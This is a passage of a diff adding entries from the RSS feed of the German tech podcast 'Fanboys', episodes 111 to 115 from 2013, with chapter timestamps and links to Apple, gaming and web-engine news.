+ <sc:chapter start="00:23:57" title="@lorenb jetzt auch bei facebook." />
+ <sc:chapter start="00:26:50" title="Tipp von Jörg: Mails teilweise zitieren" href="https://twitter.com/christi3443/status/322654165371326466" />
+ <sc:chapter start="00:28:49" title="ColorSense for Xcode" href="https://github.com/omz/ColorSense-for-Xcode" />
+ <sc:chapter start="00:33:17" title="appsacker" href="http://appsacker.net" />
+ <sc:chapter start="00:34:24" title="Marc-Uwe Kling" href="http://www.youtube.com/watch?v=Ph-vHNUBUdc" />
+ <sc:chapter start="00:37:11" title="Magnetized" href="http://www.newgrounds.com/portal/view/615109" />
+ <sc:chapter start="00:41:24" title="Thomas was alone" href="http://www.thomaswasalone.com" />
+ <sc:chapter start="00:48:01" title="iTV Shows 2" href="https://itunes.apple.com/us/app/itv-shows-2/id517468168?mt=8" />
+ <sc:chapter start="00:51:06" title="Pepple Watchfaces" href="http://mypebblefaces.com/?date=desc" />
+ <sc:chapter start="00:52:22" title="Rausschmeisser" href="http://www.youtube.com/watch?v=8vFL0QWxugI" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23115&amp;user_id=map&amp;title=Fanboys%20Episode%20115&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#115:" />
+ </item>
+ <item>
+ <title>Episode #114 - Pod Gratis Home</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Pod Gratis Home</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN114.mp3" length="27732054" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN114</guid>
+ <pubDate>Thu, 11 Apr 2013 22:43:35 +0200</pubDate>
+ <itunes:duration>00:57:38</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:09 Debug 12: iCloud and Core Data
+00:01:55 Weniger Leute kaufen Trucks
+00:08:43 Facebook Home für Android
+00:11:29 Kommentar 1 von Matt Drance
+00:11:30 Kommentar 2 von Matt Drance
+00:17:07 Twittercards und Deeplinking
+00:21:22 Google forkt Webkit: Blink
+00:22:28 WebKit2 vs. Chromium
+00:24:08 WebKit Contributions
+00:25:33 Mozilla mit Samsung macht Servo
+00:26:18 Rust-Language
+00:28:11 Wii U: Verkaufszahlen stocken
+00:31:13 Apple entfernt App Gratis
+00:33:45 Panic bringt Status Board für iPad
+00:37:51 Status Board Widgets
+00:40:14 Tipps von Sami: Mail: Entwürfe öffnen: lange auf Neue Mail-Icon bleiben
+00:41:32 Safari: geschlossene Reiter erneut öffnen, lange auf +-Icon bleiben
+00:42:47 iPhone: Notifications Wegswipen
+00:45:14 sightsnap v0.5
+00:47:31 Marcels Devblog
+00:49:56 Badland Devblog
+00:50:36 Flashback Remake Trailer
+00:54:50 Rausschmeisser
+00:54:52 Aus
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:09</td><td><a href="http://www.imore.com/debug-12-icloud-core-data-sync" target="_blank">Debug 12: iCloud and Core Data</td></tr><tr><td>00:01:55</td><td><a href="http://www.idc.com/getdoc.jsp?containerId=prUS24065413#.UWb6vb9k_TT" target="_blank">Weniger Leute kaufen Trucks</td></tr><tr><td>00:08:43</td><td><a href="http://www.macrumors.com/2013/04/04/zuckerberg-androids-openness-offers-opportunity-for-way-better-experience-than-iphone/" target="_blank">Facebook Home für Android</td></tr><tr><td>00:11:29</td><td><a href="http://www.appleoutsider.com/2013/04/05/home-turf/" target="_blank">Kommentar 1 von Matt Drance</td></tr><tr><td>00:11:30</td><td><a href="http://www.appleoutsider.com/2013/04/08/open-season/" target="_blank">Kommentar 2 von Matt Drance</td></tr><tr><td>00:17:07</td><td><a href="http://gamasutra.com/blogs/RyanHoover/20130405/189975/Twitter_Just_Became_a_Games_Platform.php" target="_blank">Twittercards und Deeplinking</td></tr><tr><td>00:21:22</td><td><a href="http://www.chromium.org/blink" target="_blank">Google forkt Webkit: Blink</td></tr><tr><td>00:22:28</td><td><a href="https://news.ycombinator.com/item?id=5490242" target="_blank">WebKit2 vs. Chromium</td></tr><tr><td>00:24:08</td><td><a href="http://appleinsider.com/articles/13/02/11/apple-google-nearly-tied-as-top-contributors-to-webkit-as-adoption-expands" target="_blank">WebKit Contributions</td></tr><tr><td>00:25:33</td><td><a href="http://blog.mozilla.org/blog/2013/04/03/mozilla-and-samsung-collaborate-on-next-generation-web-browser-engine/" target="_blank">Mozilla mit Samsung macht Servo</td></tr><tr><td>00:26:18</td><td><a href="http://www.rust-lang.org" target="_blank">Rust-Language</td></tr><tr><td>00:28:11</td><td><a href="http://daringfireball.net/linked/2013/04/08/wii-u" target="_blank">Wii U: Verkaufszahlen stocken</td></tr><tr><td>00:31:13</td><td><a href="http://appgratis.com/blog/2013/04/09/appgratis-pulled-from-the-app-store-heres-the-full-story/" target="_blank">Apple entfernt App Gratis</td></tr><tr><td>00:33:45</td><td><a href="https://www.panic.com/statusboard/" target="_blank">Panic bringt Status Board für iPad</td></tr><tr><td>00:37:51</td><td><a href="http://www.statusboardapp.info" target="_blank">Status Board Widgets</td></tr><tr><td>00:40:14</td><td>Tipps von Sami: Mail: Entwürfe öffnen: lange auf Neue Mail-Icon bleiben</td></tr><tr><td>00:41:32</td><td>Safari: geschlossene Reiter erneut öffnen, lange auf +-Icon bleiben</td></tr><tr><td>00:42:47</td><td>iPhone: Notifications Wegswipen</td></tr><tr><td>00:45:14</td><td><a href="https://github.com/monkeydom/sightsnap" target="_blank">sightsnap v0.5</td></tr><tr><td>00:47:31</td><td><a href="http://www.137b.org/?cat=60" target="_blank">Marcels Devblog</td></tr><tr><td>00:49:56</td><td><a href="http://www.badlandgame.com/blog/" target="_blank">Badland Devblog</td></tr><tr><td>00:50:36</td><td><a href="http://www.youtube.com/watch?v=_W_tRZwpSYk" target="_blank">Flashback Remake Trailer</td></tr><tr><td>00:54:50</td><td><a href="http://www.youtube.com/watch?v=xZ2vThhytJQ" target="_blank">Rausschmeisser</td></tr><tr><td>00:54:52</td><td>Aus</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:09" title="Debug 12: iCloud and Core Data" href="http://www.imore.com/debug-12-icloud-core-data-sync" />
+ <sc:chapter start="00:01:55" title="Weniger Leute kaufen Trucks" href="http://www.idc.com/getdoc.jsp?containerId=prUS24065413#.UWb6vb9k_TT" />
+ <sc:chapter start="00:08:43" title="Facebook Home für Android" href="http://www.macrumors.com/2013/04/04/zuckerberg-androids-openness-offers-opportunity-for-way-better-experience-than-iphone/" />
+ <sc:chapter start="00:11:29" title="Kommentar 1 von Matt Drance" href="http://www.appleoutsider.com/2013/04/05/home-turf/" />
+ <sc:chapter start="00:11:30" title="Kommentar 2 von Matt Drance" href="http://www.appleoutsider.com/2013/04/08/open-season/" />
+ <sc:chapter start="00:17:07" title="Twittercards und Deeplinking" href="http://gamasutra.com/blogs/RyanHoover/20130405/189975/Twitter_Just_Became_a_Games_Platform.php" />
+ <sc:chapter start="00:21:22" title="Google forkt Webkit: Blink" href="http://www.chromium.org/blink" />
+ <sc:chapter start="00:22:28" title="WebKit2 vs. Chromium" href="https://news.ycombinator.com/item?id=5490242" />
+ <sc:chapter start="00:24:08" title="WebKit Contributions" href="http://appleinsider.com/articles/13/02/11/apple-google-nearly-tied-as-top-contributors-to-webkit-as-adoption-expands" />
+ <sc:chapter start="00:25:33" title="Mozilla mit Samsung macht Servo" href="http://blog.mozilla.org/blog/2013/04/03/mozilla-and-samsung-collaborate-on-next-generation-web-browser-engine/" />
+ <sc:chapter start="00:26:18" title="Rust-Language" href="http://www.rust-lang.org" />
+ <sc:chapter start="00:28:11" title="Wii U: Verkaufszahlen stocken" href="http://daringfireball.net/linked/2013/04/08/wii-u" />
+ <sc:chapter start="00:31:13" title="Apple entfernt App Gratis" href="http://appgratis.com/blog/2013/04/09/appgratis-pulled-from-the-app-store-heres-the-full-story/" />
+ <sc:chapter start="00:33:45" title="Panic bringt Status Board für iPad" href="https://www.panic.com/statusboard/" />
+ <sc:chapter start="00:37:51" title="Status Board Widgets" href="http://www.statusboardapp.info" />
+ <sc:chapter start="00:40:14" title="Tipps von Sami: Mail: Entwürfe öffnen: lange auf Neue Mail-Icon bleiben" />
+ <sc:chapter start="00:41:32" title="Safari: geschlossene Reiter erneut öffnen, lange auf +-Icon bleiben" />
+ <sc:chapter start="00:42:47" title="iPhone: Notifications Wegswipen" />
+ <sc:chapter start="00:45:14" title="sightsnap v0.5" href="https://github.com/monkeydom/sightsnap" />
+ <sc:chapter start="00:47:31" title="Marcels Devblog" href="http://www.137b.org/?cat=60" />
+ <sc:chapter start="00:49:56" title="Badland Devblog" href="http://www.badlandgame.com/blog/" />
+ <sc:chapter start="00:50:36" title="Flashback Remake Trailer" href="http://www.youtube.com/watch?v=_W_tRZwpSYk" />
+ <sc:chapter start="00:54:50" title="Rausschmeisser" href="http://www.youtube.com/watch?v=xZ2vThhytJQ" />
+ <sc:chapter start="00:54:52" title="Aus" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23114&amp;user_id=map&amp;title=Fanboys%20Episode%20114&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#114:" />
+ </item>
+ <item>
+ <title>Episode #113 - Trübe Wolkenlage</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Trübe Wolkenlage</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN113.mp3" length="40402068" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN113</guid>
+ <pubDate>Thu, 04 Apr 2013 20:48:09 +0200</pubDate>
+ <itunes:duration>01:24:02</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:51 Rückblick 2013
+00:01:13 Errata
+00:06:59 Ausblick 2013
+00:10:48 Tim Cook entschuldigt sich bei China
+00:16:44 iMessage Pranksters
+00:17:13 Zalgo Text
+00:22:22 The Verge erklärt warum iCloud kaputt ist
+00:31:33 Quicksilver 1.0 - nach 10 Jahren
+00:34:20 Leider wohl kein Game-Controller von Apple
+00:37:05 Reeder jetzt für Umme
+00:38:30 Apple wird zum 1. Mai Retina und Longfon enforcen
+00:42:06 Dom hat Office gekauft. Microsoft Store ist anderer Meinung.
+00:47:55 App Store zeigt jetzt die Altersvorgaben prominenter
+00:49:35 LucasArts macht dicht
+00:54:45 Maniac Mansion GDC Talk
+00:56:03 Maniac Mansion Deluxe Let's Play
+01:00:05 Trickkiste: Kurze Texte aus iBooks kopieren.
+01:03:58 Dom macht Open Source: sightsnap v0.2
+01:06:52 Fester Mudd
+01:12:50 Badland
+01:20:15 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:51</td><td>Rückblick 2013</td></tr><tr><td>00:01:13</td><td>Errata</td></tr><tr><td>00:06:59</td><td>Ausblick 2013</td></tr><tr><td>00:10:48</td><td><a href="http://tech.fortune.cnn.com/2013/04/01/apple-china-cook-apology/" target="_blank">Tim Cook entschuldigt sich bei China</td></tr><tr><td>00:16:44</td><td><a href="http://thenextweb.com/apple/2013/03/29/imessage-denial-of-service-prank-spams-users-rapidly-with-messages-crashes-ios-messages-app/" target="_blank">iMessage Pranksters</td></tr><tr><td>00:17:13</td><td><a href="http://stackoverflow.com/questions/6579844/how-does-zalgo-text-work" target="_blank">Zalgo Text</td></tr><tr><td>00:22:22</td><td><a href="http://www.theverge.com/2013/3/26/4148628/why-doesnt-icloud-just-work" target="_blank">The Verge erklärt warum iCloud kaputt ist</td></tr><tr><td>00:31:33</td><td><a href="http://blog.qsapp.com/post/46268470658/quicksilver-an-interview-with-the-developers?49453f80" target="_blank">Quicksilver 1.0 - nach 10 Jahren</td></tr><tr><td>00:34:20</td><td><a href="http://www.macrumors.com/2013/03/29/apple-working-on-dedicated-ios-game-controller/" target="_blank">Leider wohl kein Game-Controller von Apple</td></tr><tr><td>00:37:05</td><td><a href="https://twitter.com/reederapp/status/318766984487653376" target="_blank">Reeder jetzt für Umme</td></tr><tr><td>00:38:30</td><td><a href="https://developer.apple.com/news/index.php?id=3212013b" target="_blank">Apple wird zum 1. Mai Retina und Longfon enforcen</td></tr><tr><td>00:42:06</td><td><a href="http://cl.ly/NzWJ" target="_blank">Dom hat Office gekauft. Microsoft Store ist anderer Meinung.</td></tr><tr><td>00:47:55</td><td><a href="http://www.heise.de/mac-and-i/meldung/App-Store-Apple-macht-Altersvorgaben-sichtbarer-1834883.html" target="_blank">App Store zeigt jetzt die Altersvorgaben prominenter</td></tr><tr><td>00:49:35</td><td><a href="http://www.gamasutra.com/view/news/189807/The_LucasArts_you_knew_is_no_more.php" target="_blank">LucasArts macht dicht</td></tr><tr><td>00:54:45</td><td><a href="http://www.gdcvault.com/play/1014732/Classic-Game-Postmortem-MANIAC" target="_blank">Maniac Mansion GDC Talk</td></tr><tr><td>00:56:03</td><td><a href="http://www.youtube.com/watch?v=rkuLwPjLzLA" target="_blank">Maniac Mansion Deluxe Let's Play</td></tr><tr><td>01:00:05</td><td>Trickkiste: Kurze Texte aus iBooks kopieren.</td></tr><tr><td>01:03:58</td><td><a href="https://github.com/monkeydom/sightsnap" target="_blank">Dom macht Open Source: sightsnap v0.2</td></tr><tr><td>01:06:52</td><td><a href="https://itunes.apple.com/de/app/fester-mudd-curse-gold-episode/id620797866?mt=8" target="_blank">Fester Mudd</td></tr><tr><td>01:12:50</td><td><a href="https://itunes.apple.com/de/app/badland/id535176909?mt=8" target="_blank">Badland</td></tr><tr><td>01:20:15</td><td><a href="https://www.youtube.com/watch?v=xmxQLVE0cPk" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:51" title="Rückblick 2013" />
+ <sc:chapter start="00:01:13" title="Errata" />
+ <sc:chapter start="00:06:59" title="Ausblick 2013" />
+ <sc:chapter start="00:10:48" title="Tim Cook entschuldigt sich bei China" href="http://tech.fortune.cnn.com/2013/04/01/apple-china-cook-apology/" />
+ <sc:chapter start="00:16:44" title="iMessage Pranksters" href="http://thenextweb.com/apple/2013/03/29/imessage-denial-of-service-prank-spams-users-rapidly-with-messages-crashes-ios-messages-app/" />
+ <sc:chapter start="00:17:13" title="Zalgo Text" href="http://stackoverflow.com/questions/6579844/how-does-zalgo-text-work" />
+ <sc:chapter start="00:22:22" title="The Verge erklärt warum iCloud kaputt ist" href="http://www.theverge.com/2013/3/26/4148628/why-doesnt-icloud-just-work" />
+ <sc:chapter start="00:31:33" title="Quicksilver 1.0 - nach 10 Jahren" href="http://blog.qsapp.com/post/46268470658/quicksilver-an-interview-with-the-developers?49453f80" />
+ <sc:chapter start="00:34:20" title="Leider wohl kein Game-Controller von Apple" href="http://www.macrumors.com/2013/03/29/apple-working-on-dedicated-ios-game-controller/" />
+ <sc:chapter start="00:37:05" title="Reeder jetzt für Umme" href="https://twitter.com/reederapp/status/318766984487653376" />
+ <sc:chapter start="00:38:30" title="Apple wird zum 1. Mai Retina und Longfon enforcen" href="https://developer.apple.com/news/index.php?id=3212013b" />
+ <sc:chapter start="00:42:06" title="Dom hat Office gekauft. Microsoft Store ist anderer Meinung." href="http://cl.ly/NzWJ" />
+ <sc:chapter start="00:47:55" title="App Store zeigt jetzt die Altersvorgaben prominenter" href="http://www.heise.de/mac-and-i/meldung/App-Store-Apple-macht-Altersvorgaben-sichtbarer-1834883.html" />
+ <sc:chapter start="00:49:35" title="LucasArts macht dicht" href="http://www.gamasutra.com/view/news/189807/The_LucasArts_you_knew_is_no_more.php" />
+ <sc:chapter start="00:54:45" title="Maniac Mansion GDC Talk" href="http://www.gdcvault.com/play/1014732/Classic-Game-Postmortem-MANIAC" />
+ <sc:chapter start="00:56:03" title="Maniac Mansion Deluxe Let's Play" href="http://www.youtube.com/watch?v=rkuLwPjLzLA" />
+ <sc:chapter start="01:00:05" title="Trickkiste: Kurze Texte aus iBooks kopieren." />
+ <sc:chapter start="01:03:58" title="Dom macht Open Source: sightsnap v0.2" href="https://github.com/monkeydom/sightsnap" />
+ <sc:chapter start="01:06:52" title="Fester Mudd" href="https://itunes.apple.com/de/app/fester-mudd-curse-gold-episode/id620797866?mt=8" />
+ <sc:chapter start="01:12:50" title="Badland" href="https://itunes.apple.com/de/app/badland/id535176909?mt=8" />
+ <sc:chapter start="01:20:15" title="Rausschmeisser" href="https://www.youtube.com/watch?v=xmxQLVE0cPk" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23113&amp;user_id=map&amp;title=Fanboys%20Episode%20113&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#113:" />
+ </item>
+ <item>
+ <title>Episode #112 - Mapwesend</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Mapwesend</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN112.mp3" length="27938317" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN112</guid>
+ <pubDate>Tue, 26 Mar 2013 19:49:48 +0100</pubDate>
+ <itunes:duration>00:58:04</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:52 2012 Rückblick
+00:10:12 Dr. Oetkers Kochbuch
+00:12:43 Trickkiste: Cmd-Shift-C in Photoshop
+00:16:35 Eric Schmidtberry
+00:18:12 Telekom bloggt zur Drosselung
+00:23:05 Formspring ist tot
+00:25:27 Ask.fm lebt
+00:25:50 BND jetzt mit Hackerabwehr
+00:26:36 Blizzard kündigt Hearthstone: Heroes of Warcraft an
+00:30:29 GDC Vault
+00:38:02 Kotaku wieder lesbarer
+00:39:07 WhyWiiU?
+00:40:56 Wii Mini ohne Internet
+00:44:30 Marcel hat Starseed Pilgrim durchgespielt
+00:47:41 Tomb Raider
+00:55:29 Loss
+00:56:22 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:52</td><td>2012 Rückblick</td></tr><tr><td>00:10:12</td><td><a href="http://www.gutenberg.org/files/31537/31537-h/31537-h.htm" target="_blank">Dr. Oetkers Kochbuch</td></tr><tr><td>00:12:43</td><td>Trickkiste: Cmd-Shift-C in Photoshop</td></tr><tr><td>00:16:35</td><td><a href="http://www.guardian.co.uk/technology/2013/mar/21/eric-schmidt-blackberry-user" target="_blank">Eric Schmidtberry</td></tr><tr><td>00:18:12</td><td><a href="http://blogs.telekom.com/2013/03/22/neue-spielregeln-fuer-dsl/" target="_blank">Telekom bloggt zur Drosselung</td></tr><tr><td>00:23:05</td><td><a href="http://techcrunch.com/2013/03/15/formspring-the-pioneering-anonymous-qa-platform-is-shutting-down/" target="_blank">Formspring ist tot</td></tr><tr><td>00:25:27</td><td><a href="http://ask.fm" target="_blank">Ask.fm lebt</td></tr><tr><td>00:25:50</td><td><a href="http://www.spiegel.de/netzwelt/netzpolitik/bnd-gruendet-neue-abteilung-zur-abwehr-von-hackerangriffen-a-890616.html" target="_blank">BND jetzt mit Hackerabwehr</td></tr><tr><td>00:26:36</td><td><a href="http://wow.joystiq.com/2013/03/22/hearthstone-what-we-know-so-far/" target="_blank">Blizzard kündigt Hearthstone: Heroes of Warcraft an</td></tr><tr><td>00:30:29</td><td><a href="http://www.gdcvault.com" target="_blank">GDC Vault</td></tr><tr><td>00:38:02</td><td><a href="http://kotaku.com/" target="_blank">Kotaku wieder lesbarer</td></tr><tr><td>00:39:07</td><td><a href="http://kotaku.com/5992182/nintendos-efforts-to-explain-the-wii-u-just-took-a-turn-for-the-absurd" target="_blank">WhyWiiU?</td></tr><tr><td>00:40:56</td><td><a href="http://www.amazon.de/Nintendo-Wii-Mini-Konsole-rot/dp/B00BLMXJOK/" target="_blank">Wii Mini ohne Internet</td></tr><tr><td>00:44:30</td><td><a href="http://www.starseedpilgrim.com" target="_blank">Marcel hat Starseed Pilgrim durchgespielt</td></tr><tr><td>00:47:41</td><td><a href="http://kleinerdrei.org/2013/03/torture-raider/" target="_blank">Tomb Raider</td></tr><tr><td>00:55:29</td><td><a href="http://gamejolt.com/games/other/loss/13375/" target="_blank">Loss</td></tr><tr><td>00:56:22</td><td><a href="http://youtu.be/3n9QUDBCbL4" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:52" title="2012 Rückblick" />
+ <sc:chapter start="00:10:12" title="Dr. Oetkers Kochbuch" href="http://www.gutenberg.org/files/31537/31537-h/31537-h.htm" />
+ <sc:chapter start="00:12:43" title="Trickkiste: Cmd-Shift-C in Photoshop" />
+ <sc:chapter start="00:16:35" title="Eric Schmidtberry" href="http://www.guardian.co.uk/technology/2013/mar/21/eric-schmidt-blackberry-user" />
+ <sc:chapter start="00:18:12" title="Telekom bloggt zur Drosselung" href="http://blogs.telekom.com/2013/03/22/neue-spielregeln-fuer-dsl/" />
+ <sc:chapter start="00:23:05" title="Formspring ist tot" href="http://techcrunch.com/2013/03/15/formspring-the-pioneering-anonymous-qa-platform-is-shutting-down/" />
+ <sc:chapter start="00:25:27" title="Ask.fm lebt" href="http://ask.fm" />
+ <sc:chapter start="00:25:50" title="BND jetzt mit Hackerabwehr" href="http://www.spiegel.de/netzwelt/netzpolitik/bnd-gruendet-neue-abteilung-zur-abwehr-von-hackerangriffen-a-890616.html" />
+ <sc:chapter start="00:26:36" title="Blizzard kündigt Hearthstone: Heroes of Warcraft an" href="http://wow.joystiq.com/2013/03/22/hearthstone-what-we-know-so-far/" />
+ <sc:chapter start="00:30:29" title="GDC Vault" href="http://www.gdcvault.com" />
+ <sc:chapter start="00:38:02" title="Kotaku wieder lesbarer" href="http://kotaku.com/" />
+ <sc:chapter start="00:39:07" title="WhyWiiU?" href="http://kotaku.com/5992182/nintendos-efforts-to-explain-the-wii-u-just-took-a-turn-for-the-absurd" />
+ <sc:chapter start="00:40:56" title="Wii Mini ohne Internet" href="http://www.amazon.de/Nintendo-Wii-Mini-Konsole-rot/dp/B00BLMXJOK/" />
+ <sc:chapter start="00:44:30" title="Marcel hat Starseed Pilgrim durchgespielt" href="http://www.starseedpilgrim.com" />
+ <sc:chapter start="00:47:41" title="Tomb Raider" href="http://kleinerdrei.org/2013/03/torture-raider/" />
+ <sc:chapter start="00:55:29" title="Loss" href="http://gamejolt.com/games/other/loss/13375/" />
+ <sc:chapter start="00:56:22" title="Rausschmeisser" href="http://youtu.be/3n9QUDBCbL4" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23112&amp;user_id=map&amp;title=Fanboys%20Episode%20112&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#112:" />
+ </item>
+ <item>
+ <title>Episode #111 - Gedrosselt</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Gedrosselt</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN111.mp3" length="33443675" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN111</guid>
+ <pubDate>Thu, 21 Mar 2013 18:41:07 +0100</pubDate>
+ <itunes:duration>01:09:32</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:45 2011 Rückblick
+00:08:45 TheCodingMonkeys wird 10
+00:10:53 Neue Website
+00:11:59 Evil Quiz
+00:12:43 Lost Cities Jubiläumsrabatt
+00:13:31 Telekom will DSL Drosseln
+00:25:52 Pebble 1.9.0
+00:30:41 Why Make Portal 2?
+00:33:40 iOS 6.1.3 ist da, hilft aber nix
+00:35:29 Garageband unterstützt Audiobus!
+00:37:35 Google Keep
+00:40:18 Kevin Lynch wechselt von Adobe zu Apple
+00:43:15 Samsung machte ne Smart Watch
+00:45:26 Apple wird von THX verklagt
+00:46:44 AppArtAward
+00:48:07 Jabber Server und Push
+00:52:49 Codequartett
+00:55:01 The Silent Age
+00:57:26 Ridiculous Fishing
+01:02:11 Year Walk
+01:09:09 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:45</td><td>2011 Rückblick</td></tr><tr><td>00:08:45</td><td><a href="http://codingmonkeys.de" target="_blank">TheCodingMonkeys wird 10</td></tr><tr><td>00:10:53</td><td>Neue Website</td></tr><tr><td>00:11:59</td><td><a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=382822147&amp;mt=8" target="_blank">Evil Quiz</td></tr><tr><td>00:12:43</td><td><a href="http://itunes.apple.com/us/app/lost-cities/id465062454?ls=1&amp;mt=8" target="_blank">Lost Cities Jubiläumsrabatt</td></tr><tr><td>00:13:31</td><td><a href="http://fanboys.fm/drossel/" target="_blank">Telekom will DSL Drosseln</td></tr><tr><td>00:25:52</td><td>Pebble 1.9.0</td></tr><tr><td>00:30:41</td><td><a href="http://www.gdcvault.com/play/1015821/Creating-a-Sequel-to-a" target="_blank">Why Make Portal 2?</td></tr><tr><td>00:33:40</td><td><a href="http://arstechnica.com/apple/2013/03/one-day-after-ios-6-1-3-a-new-iphone-lock-screen-bug-emerges/" target="_blank">iOS 6.1.3 ist da, hilft aber nix</td></tr><tr><td>00:35:29</td><td><a href="http://www.heise.de/mac-and-i/meldung/iOS-Update-fuer-GarageBand-bringt-Audiobus-Unterstuetzung-1826990.html" target="_blank">Garageband unterstützt Audiobus!</td></tr><tr><td>00:37:35</td><td><a href="http://googleblog.blogspot.de/2013/03/google-keepsave-whats-on-your-mind.html" target="_blank">Google Keep</td></tr><tr><td>00:40:18</td><td><a href="http://www.macrumors.com/2013/03/20/apples-hiring-of-kevin-lynch-questioned-amid-concerns-over-his-staunch-defense-of-flash/" target="_blank">Kevin Lynch wechselt von Adobe zu Apple</td></tr><tr><td>00:43:15</td><td><a href="http://www.macrumors.com/2013/03/19/samsung-confirms-work-on-smart-watch-project/" target="_blank">Samsung machte ne Smart Watch</td></tr><tr><td>00:45:26</td><td><a href="http://www.macrumors.com/2013/03/17/thx-sues-apple-over-alleged-narrow-profile-speaker-patent-infringement/" target="_blank">Apple wird von THX verklagt</td></tr><tr><td>00:46:44</td><td><a href="http://www.app-art-award.org" target="_blank">AppArtAward</td></tr><tr><td>00:48:07</td><td><a href="https://audioboo.fm/boos/1279785-xmpp-proxyserver-authentication-geschichte.mp3" target="_blank">Jabber Server und Push</td></tr><tr><td>00:52:49</td><td><a href="https://audioboo.fm/boos/1272726-codequartett.mp3" target="_blank">Codequartett</td></tr><tr><td>00:55:01</td><td><a href="https://itunes.apple.com/de/app/the-silent-age/id580991034?l=en&amp;mt=8" target="_blank">The Silent Age</td></tr><tr><td>00:57:26</td><td><a href="http://www.ridiculousfishing.com" target="_blank">Ridiculous Fishing</td></tr><tr><td>01:02:11</td><td><a href="https://itunes.apple.com/de/app/year-walk/id555916407?l=en&amp;mt=8" target="_blank">Year Walk</td></tr><tr><td>01:09:09</td><td><a href="http://vimeo.com/43933109" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:45" title="2011 Rückblick" />
+ <sc:chapter start="00:08:45" title="TheCodingMonkeys wird 10" href="http://codingmonkeys.de" />
+ <sc:chapter start="00:10:53" title="Neue Website" />
+ <sc:chapter start="00:11:59" title="Evil Quiz" href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=382822147&amp;mt=8" />
+ <sc:chapter start="00:12:43" title="Lost Cities Jubiläumsrabatt" href="http://itunes.apple.com/us/app/lost-cities/id465062454?ls=1&amp;mt=8" />
+ <sc:chapter start="00:13:31" title="Telekom will DSL Drosseln" href="http://fanboys.fm/drossel/" />
+ <sc:chapter start="00:25:52" title="Pebble 1.9.0" />
+ <sc:chapter start="00:30:41" title="Why Make Portal 2?" href="http://www.gdcvault.com/play/1015821/Creating-a-Sequel-to-a" />
+ <sc:chapter start="00:33:40" title="iOS 6.1.3 ist da, hilft aber nix" href="http://arstechnica.com/apple/2013/03/one-day-after-ios-6-1-3-a-new-iphone-lock-screen-bug-emerges/" />
+ <sc:chapter start="00:35:29" title="Garageband unterstützt Audiobus!" href="http://www.heise.de/mac-and-i/meldung/iOS-Update-fuer-GarageBand-bringt-Audiobus-Unterstuetzung-1826990.html" />
+ <sc:chapter start="00:37:35" title="Google Keep" href="http://googleblog.blogspot.de/2013/03/google-keepsave-whats-on-your-mind.html" />
+ <sc:chapter start="00:40:18" title="Kevin Lynch wechselt von Adobe zu Apple" href="http://www.macrumors.com/2013/03/20/apples-hiring-of-kevin-lynch-questioned-amid-concerns-over-his-staunch-defense-of-flash/" />
